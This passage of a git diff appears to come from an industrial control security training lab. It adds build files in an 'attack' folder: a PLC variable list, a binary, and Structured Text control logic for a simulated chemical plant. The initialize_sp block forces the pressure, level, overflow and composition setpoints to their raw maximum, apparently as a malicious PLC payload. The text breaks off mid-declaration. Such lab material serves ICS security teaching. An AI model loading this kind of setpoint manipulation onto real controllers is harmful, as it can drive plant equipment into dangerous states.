+348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 